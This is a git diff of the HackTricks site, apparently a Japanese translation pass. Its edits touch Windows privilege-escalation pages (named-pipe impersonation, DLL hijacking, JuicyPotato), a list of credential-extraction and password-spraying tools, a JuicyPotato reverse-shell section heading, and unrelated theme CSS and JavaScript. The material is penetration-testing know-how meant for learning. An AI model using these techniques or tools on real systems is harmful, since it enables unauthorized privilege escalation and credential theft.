-この技術は、meterpreterが`getsystem`で昇格するために使用されます。この技術は、**パイプを作成し、そのパイプに書き込むサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`**権限を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM権限を取得することができます。\ +この技術は、meterpreterが`getsystem`で昇格するために使用されます。この技術は、**パイプを作成し、そのパイプに書き込むサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`**特権を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM特権を取得することができます。\ 名前付きパイプについて[**もっと学びたい場合はこれを読むべきです**](./#named-pipe-client-impersonation)。\ 高い整合性からSYSTEMに名前付きパイプを使用して移行する[**方法の例を読みたい場合はこれを読むべきです**](from-high-integrity-to-system-with-name-pipes.md)。 ### Dll Hijacking -**SYSTEM**として実行されている**プロセス**によって**ロードされるdllをハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijackingはこの種の権限昇格にも役立ち、さらに、高い整合性プロセスからは**はるかに簡単に達成できます**。なぜなら、dllをロードするために使用されるフォルダーに**書き込み権限**を持っているからです。\ +**SYSTEM**として実行されている**プロセス**によって**ロードされるdllをハイジャック**することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijackingはこの種の特権昇格にも役立ち、さらに、高い整合性プロセスからは**はるかに簡単に達成できます**。なぜなら、dllをロードするために使用されるフォルダーに**書き込み権限**を持っているからです。\ **Dllハイジャックについて** [**こちらで詳しく学ぶことができます**](dll-hijacking/)**。** -### **From Administrator or Network Service to System** +### **AdministratorまたはNetwork ServiceからSystemへ** -{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %} +{{#ref}} +https://github.com/sailay1996/RpcSsImpersonator +{{#endref}} -### From LOCAL SERVICE or NETWORK SERVICE to full privs +### LOCAL SERVICEまたはNETWORK SERVICEからフル特権へ **読む:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## さらなるヘルプ [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## 有用なツール -**Windowsローカル権限昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windowsローカル特権昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 誤設定や機密ファイルをチェックします (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出されました。**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の可能な誤設定をチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- いくつかの可能な誤設定をチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- 誤設定をチェックします**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDPの保存されたセッション情報を抽出します。ローカルで-Thoroughを使用します。**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Managerから資格情報を抽出します。検出されました。**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- InveighはPowerShellのADIDNS/LLMNR/mDNS/NBNSスプーフィングおよび中間者攻撃ツールです。**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な権限昇格Windows列挙**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の権限昇格脆弱性を検索します(非推奨)\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な特権昇格Windows列挙**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の特権昇格脆弱性を検索します(Watsonのために非推奨)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の権限昇格脆弱性を検索します(VisualStudioを使用してコンパイルする必要があります) ([**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 誤設定を探してホストを列挙します(権限昇格よりも情報収集ツールです)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の特権昇格脆弱性を検索します(VisualStudioを使用してコンパイルする必要があります) ([**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 誤設定を探してホストを列挙します(特権昇格よりも情報収集ツールに近い)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します(GitHubに事前コンパイル済みexeあり)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUpのC#への移植**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェックします(GitHubに事前コンパイル済みの実行可能ファイル)。推奨されません。Win10ではうまく動作しません。\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします(Pythonからのexe)。推奨されません。Win10ではうまく動作しません。 +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUpのC#ポート**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェックします(GitHubに事前コンパイル済みの実行可能ファイル)。推奨されません。Win10ではうまく機能しません。\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします(Pythonからのexe)。推奨されません。Win10ではうまく機能しません。 **Bat** diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index c76f81f61..19eba1734 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,8 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] -> **JuicyPotatoは** Windows Server 2019 および Windows 10 ビルド 1809 以降では動作しません。しかし、 [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) を使用して **同じ特権を利用し、`NT AUTHORITY\SYSTEM`** レベルのアクセスを取得できます。 _**確認:**_ +> [!WARNING] > **JuicyPotatoは** Windows Server 2019 および Windows 10 ビルド 1809 以降では動作しません。しかし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) を使用して **同じ特権を利用し、`NT AUTHORITY\SYSTEM`** レベルのアクセスを取得できます。 _**確認:**_ {{#ref}} roguepotato-and-printspoofer.md @@ -19,13 +18,13 @@ _少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenm [**juicy-potato Readme から**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) とその [バリアント](https://github.com/decoder-it/lonelypotato) は、[`BITS`]() [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) に基づく特権昇格チェーンを利用し、`127.0.0.1:6666` で MiTM リスナーを持ち、`SeImpersonate` または `SeAssignPrimaryToken` 特権を持っているときに機能します。Windows ビルドレビュー中に、`BITS` が意図的に無効にされ、ポート `6666` が使用されている設定を見つけました。 +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) とその [バリアント](https://github.com/decoder-it/lonelypotato) は、[`BITS`]() [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) に基づく特権昇格チェーンを利用し、`127.0.0.1:6666` で MiTM リスナーを持ち、`SeImpersonate` または `SeAssignPrimaryToken` 特権を持っている場合に機能します。Windows ビルドレビュー中に、`BITS` が意図的に無効にされ、ポート `6666` が使用されている設定を見つけました。 -私たちは [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) を武器化することに決めました: **Juicy Potato にこんにちはを言いましょう**。 +私たちは [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) を武器化することに決めました: **Juicy Potato にこんにちは。** > 理論については、[Rotten Potato - サービスアカウントから SYSTEM への特権昇格](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) を参照し、リンクと参照のチェーンをたどってください。 -私たちは、`BITS` 以外にも悪用できるいくつかの COM サーバーがあることを発見しました。これらは次の条件を満たす必要があります: +私たちは、`BITS` 以外にも悪用できるいくつかの COM サーバーがあることを発見しました。これらは次の条件を満たす必要があります: 1. 現在のユーザーによってインスタンス化可能であること、通常は偽装特権を持つ「サービスユーザー」 2. `IMarshal` インターフェースを実装していること @@ -35,12 +34,12 @@ _少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenm ### ジューシーな詳細 -JuicyPotato を使用すると、次のことができます: +JuicyPotato を使用すると: - **ターゲット CLSID** _任意の CLSID を選択できます。_ [_こちら_](http://ohpe.it/juicy-potato/CLSID/) _で OS ごとに整理されたリストを見つけることができます。_ - **COM リスニングポート** _好みの COM リスニングポートを定義します (ハードコーディングされた 6666 の代わりに)_ - **COM リスニング IP アドレス** _任意の IP にサーバーをバインドします_ -- **プロセス作成モード** _偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_ +- **プロセス作成モード** _偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_ - `CreateProcessWithToken` (必要な特権: `SeImpersonate`) - `CreateProcessAsUser` (必要な特権: `SeAssignPrimaryToken`) - `両方` @@ -81,7 +80,7 @@ Optional args: ## 例 -注意: CLSIDのリストを試すには、[このページ](https://ohpe.it/juicy-potato/CLSID/)を訪れてください。 +注意: CLSIDのリストについては [このページ](https://ohpe.it/juicy-potato/CLSID/) を訪れてください。 ### nc.exeリバースシェルを取得する ``` @@ -108,7 +107,9 @@ c:\Users\Public> 多くの場合、JuicyPotatoが使用するデフォルトのCLSIDは**機能しない**ため、エクスプロイトが失敗します。通常、**動作するCLSID**を見つけるには複数の試行が必要です。特定のオペレーティングシステムで試すためのCLSIDのリストを取得するには、このページを訪問してください: -{% embed url="https://ohpe.it/juicy-potato/CLSID/" %} +{{#ref}} +https://ohpe.it/juicy-potato/CLSID/ +{{#endref}} ### **CLSIDの確認** @@ -116,7 +117,7 @@ c:\Users\Public> [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)をダウンロードしてPSセッションにロードし、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)をダウンロードして実行します。そのスクリプトは、テストする可能性のあるCLSIDのリストを作成します。 -次に、[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。これにより、すべてのCLSIDを試し始め、**ポート番号が変更されると、CLSIDが機能したことを意味します**。 +次に、[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。すべてのCLSIDを試し始め、**ポート番号が変更されると、それはCLSIDが機能したことを意味します**。 **-cパラメータを使用して**動作するCLSIDを**確認してください** diff --git a/theme/css/chrome.css b/theme/css/chrome.css index ead7ee881..97ae4c689 100644 --- a/theme/css/chrome.css +++ b/theme/css/chrome.css @@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar { } /* Languages Menu Popup */ + +@media only screen and (max-width:799px) { + #menubar-languages-toggle span { + display: none !important; + } +} + #menubar-languages-toggle { position: relative; } @@ -244,6 +251,11 @@ html:not(.js) .left-buttons button { cursor: pointer; color: var(--fg); } +@media only screen and (max-width:799px) { + .menu-title { + font-size: 1.4rem; + } +} .menu-bar, .menu-bar:visited, @@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em { color: var(--sidebar-fg); } } +@media only screen and (min-width:1440px) { + #sidebar-toggle{ + display: none !important; + } +} @media only screen and (max-width:549px) { .sidebar { position: fixed; @@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar { border-top: 1px solid var(--table-border-color); margin-top: 1rem; align-content: center; - z-index: 101; + z-index: 106; } .footer .theme-wrapper { max-width: var(--container-max-width); diff --git a/theme/css/variables.css b/theme/css/variables.css index fbe328e4d..5aa7b2f5b 100644 --- a/theme/css/variables.css +++ b/theme/css/variables.css @@ -343,8 +343,8 @@ --warning-border: #ff8e00; --table-border-color: #2f2f2f; - --table-header-bg: hsl(226, 23%, 31%); - --table-alternate-bg: hsl(226, 23%, 14%); + --table-header-bg: #2f2f2f; + --table-alternate-bg: #222222; --searchbar-border-color: #2f2f2f; --searchbar-bg: hsl(0, 0%, 11%); @@ -429,7 +429,7 @@ --warning-border: #ff8e00; --table-border-color: hsl(0, 0%, 95%); - --table-header-bg: hsl(0, 0%, 80%); + --table-header-bg: hsl(0, 0%, 95%); --table-alternate-bg: hsl(0, 0%, 97%); --searchbar-border-color: #aaa; diff --git a/theme/index.hbs b/theme/index.hbs index 95c964391..166e177c4 100644 --- a/theme/index.hbs +++ b/theme/index.hbs @@ -176,10 +176,12 @@

出典: https://youtu.be/StSLxFbVz0M?t=1439

diff --git a/theme/pagetoc.css b/theme/pagetoc.css index d979c7427..17293c36f 100644 --- a/theme/pagetoc.css +++ b/theme/pagetoc.css @@ -72,7 +72,7 @@ .sidetoc-wrapper { position: fixed; width: 250px; - height: calc(100vh - var(--menu-bar-height) - 25px * 2); + height: calc(100vh - var(--menu-bar-height) - 50px * 2); overflow: auto; display: flex; flex-direction: column; diff --git a/theme/pagetoc.js b/theme/pagetoc.js index 5962db9f3..a51ea29ae 100644 --- a/theme/pagetoc.js +++ b/theme/pagetoc.js @@ -1,68 +1,76 @@ -let scrollTimeout; +let scrollTimeout const listenActive = () => { - const elems = document.querySelector(".pagetoc").children; - [...elems].forEach(el => { + const elems = document.querySelector(".pagetoc").children + ;[...elems].forEach((el) => { el.addEventListener("click", (event) => { - clearTimeout(scrollTimeout); - [...elems].forEach(el => el.classList.remove("active")); - el.classList.add("active"); + clearTimeout(scrollTimeout) + ;[...elems].forEach((el) => el.classList.remove("active")) + el.classList.add("active") // Prevent scroll updates for a short period scrollTimeout = setTimeout(() => { - scrollTimeout = null; - }, 100); // Adjust timing as needed - }); - }); -}; + scrollTimeout = null + }, 100) // Adjust timing as needed + }) + }) +} -const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc(); +const getPagetoc = () => + document.querySelector(".pagetoc") || autoCreatePagetoc() const autoCreatePagetoc = () => { - const main = document.querySelector("#content > main"); + const main = document.querySelector("#content > main") const content = Object.assign(document.createElement("div"), { - className: "content-wrap" - }); - content.append(...main.childNodes); - main.prepend(content); - main.insertAdjacentHTML("afterbegin", '
'); - return document.querySelector(".pagetoc"); -}; + className: "content-wrap", + }) + content.append(...main.childNodes) + main.prepend(content) + main.insertAdjacentHTML( + "afterbegin", + '
' + ) + return document.querySelector(".pagetoc") +} const updateFunction = () => { - if (scrollTimeout) return; // Skip updates if within the cooldown period from a click - const headers = [...document.getElementsByClassName("header")]; - const scrolledY = window.scrollY; - let lastHeader = null; + if (scrollTimeout) return // Skip updates if within the cooldown period from a click + const headers = [...document.getElementsByClassName("header")] + const scrolledY = window.scrollY + let lastHeader = null // Find the last header that is above the current scroll position for (let i = headers.length - 1; i >= 0; i--) { if (scrolledY >= headers[i].offsetTop) { - lastHeader = headers[i]; - break; + lastHeader = headers[i] + break } } - const pagetocLinks = [...document.querySelector(".pagetoc").children]; - pagetocLinks.forEach(link => link.classList.remove("active")); + const pagetocLinks = [...document.querySelector(".pagetoc").children] + pagetocLinks.forEach((link) => link.classList.remove("active")) if (lastHeader) { - const activeLink = pagetocLinks.find(link => lastHeader.href === link.href); - if (activeLink) activeLink.classList.add("active"); + const activeLink = pagetocLinks.find( + (link) => lastHeader.href === link.href + ) + if (activeLink) activeLink.classList.add("active") } -}; +} -window.addEventListener('load', () => { - const pagetoc = getPagetoc(); - const headers = [...document.getElementsByClassName("header")]; - headers.forEach(header => { +window.addEventListener("load", () => { + const pagetoc = getPagetoc() + const headers = [...document.getElementsByClassName("header")] + headers.forEach((header) => { const link = Object.assign(document.createElement("a"), { textContent: header.text, href: header.href, - className: `pagetoc-${header.parentElement.tagName}` - }); - pagetoc.appendChild(link); - }); - updateFunction(); - listenActive(); - window.addEventListener("scroll", updateFunction); -}); - + className: `pagetoc-${header.parentElement.tagName}`, + }) + if (header.parentElement.querySelectorAll("a").length === 2) { + link.textContent = header.parentElement.querySelectorAll("a")[1].text + } + pagetoc.appendChild(link) + }) + updateFunction() + listenActive() + window.addEventListener("scroll", updateFunction) +})